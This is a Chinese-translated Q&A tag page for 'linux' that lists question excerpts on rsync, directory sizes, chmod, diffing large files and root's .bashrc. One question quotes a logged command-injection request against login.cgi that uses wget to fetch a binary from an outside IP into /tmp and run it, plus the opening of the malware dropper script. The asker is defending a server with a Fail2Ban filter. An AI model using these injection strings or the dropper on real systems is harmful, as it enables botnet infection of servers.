Questions tagged «linux»

使用Linux内核的一系列类似Unix的操作系统。如果您的问题仅与特定分布有关,请使用更具体的标签。

1
如何排除rsync从删除中排除?
我正在使用rsync使用以下命令在多台计算机上同步文件: rsync -az -e "ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no" \ --delete --delete-excluded --force --exclude=.git --exclude=.bundle \ --exclude=tmp --exclude=log/* --exclude=*.log --exclude=*.pid \ user@host:/path/to/src/ /var/build/dest 我想排除所有日志文件从源转移到目标,并删除目标上所有现有的文件。所以我使用--exclude=*.log与--delete-excluded它的伟大工程。 但是我想在目标上保留某些日志文件。我想要一个--exclude-from-delete选择。 rsync可能吗?

7
linux以ls或其他命令显示文件夹内容的大小
我知道这些文件夹每个都有> 80gb的文件。但是,它们仅以ls -lah显示4.0K吗?我如何让ls显示包括内容在内的尺寸? [root@aapsan01 aapxen01]# ls -lah total 48K drwxrwxrwx 6 root root 4.0K Sep 29 03:45 . drwxrwxrwx 15 root root 4.0K Sep 27 09:15 .. drwxr-xr-x 2 root root 4.0K Sep 29 03:45 aapxen01.0 drwxr-xr-x 2 root root 4.0K Sep 28 12:10 aapxen01.1 drwxr-xr-x 2 root root 4.0K …

2
这个bash脚本做什么?[尝试失败]
我一直在注意服务器apache日志,最近有以下奇怪的几行: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" 因此,我做了一个自定义的Fail2Ban过滤器,并开始禁止请求这些/login.cgi URL的IP。 但是我对他们正在尝试执行的操作感到好奇,因此我撤消了他们正在尝试执行的脚本,但我似乎无法弄清楚它到底在做什么。关于删除/ var和/ tmp中的arch文件夹的东西? 无论如何,这里是: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …



3
如何仅在目录上执行递归chmod?
我想在Centos 4上更改树的权限,以从目录中递归地为所有目录添加执行权限。如果我使用普通的chmod,除目录外的文件也会被修改: chmod -R o+x /my/path/here 我如何只影响目录?
31 linux  chmod 


4
在使用文件时移动文件-它如何工作?
我已经注意到,在非Windows操作系统上。...即linux / mac,我可以执行以下操作:-向目标发送zip给朋友-在传输文件时将其删除 并且传输不会失败。 或者,我可以执行以下操作:-开始播放电影-删除文件-电影仍可以播放完成(从磁盘读取,而不仅仅是缓存在内存中) 尽管文件已被“删除”,但是正如我所提到的,它们实际上已被移动到文件系统上的其他位置……即垃圾箱目录或其他内容。因此在我看来,操作系统似乎使用指针@该文件在移动时会更新,而不是直接访问文件。 谁能阐明该AWESOME功能的实际实现方式?我什至不知道该通过Google来了解更多信息。 谢谢。

3
Linux命令将文件连接到自身n次
我已经从Project Gutenberg中提取了一个纯文本文件书(大约0.5MB),我希望将其与自己的n时间连接起来,以便生成一个大的文本文件,可以对某些算法进行基准测试。我可以使用一个Linux命令来实现这一点吗? cat听起来很理想,但在将文件串联到自身上似乎玩起来不太好,而且不能直接解决问题的n时间部分。


3
aufs,unionfs和overlayfs彼此之间的差异
我必须加入两个文件系统,一个是只读(squashfs),另一个是可读写(ext4)。我的计划是将读写文件系统挂载在只读fle系统上,以使其看起来可写。当我在只读文件系统上进行一些更改时,这些更改应转到读写文件系统上。 我正在使用Linux 3.17,Ubuntu 14.10,并遇到了以下文件系统:aufs,unionfs和overlayfs。我不知道它们之间的区别是什么以及在这种情况下该如何使用。有人可以告诉我aufs,unionfs和overlayfs之间的区别,还是只是建议在这种情况下使用的最佳选择?

3
如何在Linux上比较大文件
diff: memory exhausted尝试对两个27 GB的文件进行差异比较时出现错误,这些文件在具有CentOS 5和4 GB RAM的Linux机器上非常相似。看来这是一个已知的问题。 我希望可以为这种必要的实用程序提供替代方法,但我找不到。我想该解决方案将不得不使用临时文件而不是内存来存储所需的信息。 我尝试使用rdiff和xdelta,但是它们更适合显示两个文件之间的更改(例如补丁程序),而对于检查两个文件之间的差异不是那么有用。 尝试使用VBinDiff,但它是一种可视化工具,可以更好地比较二进制文件。我需要一些可以像常规一样将差异传递到STDOUT的东西diff。 还有许多其他实用程序,例如vimdiff仅适用于较小的文件。 我还阅读了有关Solaris的信息,bdiff但找不到Linux的端口。 除了将文件分成较小的部分,还有其他想法吗?我有40个这样的文件,所以尽量避免将它们分解的工作。
31 linux  diff 


7
root的.bashrc在哪里?
我知道这不是最佳做法,但是在我的开发系统上,我以root用户身份登录。.bashrc文件等于什么,因此我可以为某些函数添加别名? 我找到了/etc/bash.bashrc&,/etc/bash.bashrc.local但不确定在哪里放置命令。 运行x86_64 SUSE。 谢谢,mjb。
31 linux  root  bashrc 

8
bash:如何传递包含特殊字符的命令行参数
我已经为自己编写了一个program需要正则表达式作为输入的Linux程序。 我想在bash外壳中调用程序并将该正则表达式作为命令行参数传递给程序(还有其他命令行参数)。一个典型的正则表达式看起来像 [abc]\_[x|y] 不幸的是,人物[,]以及|在特殊字符bash。因此, program [abc]\_[x|y] anotheragument 不起作用。是否可以通过使用某种转义符或引号等来传递表达式? (调用program "[abc]\_[x|y] anotheragument"也不起作用,因为它将两个参数解释为一个。)

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.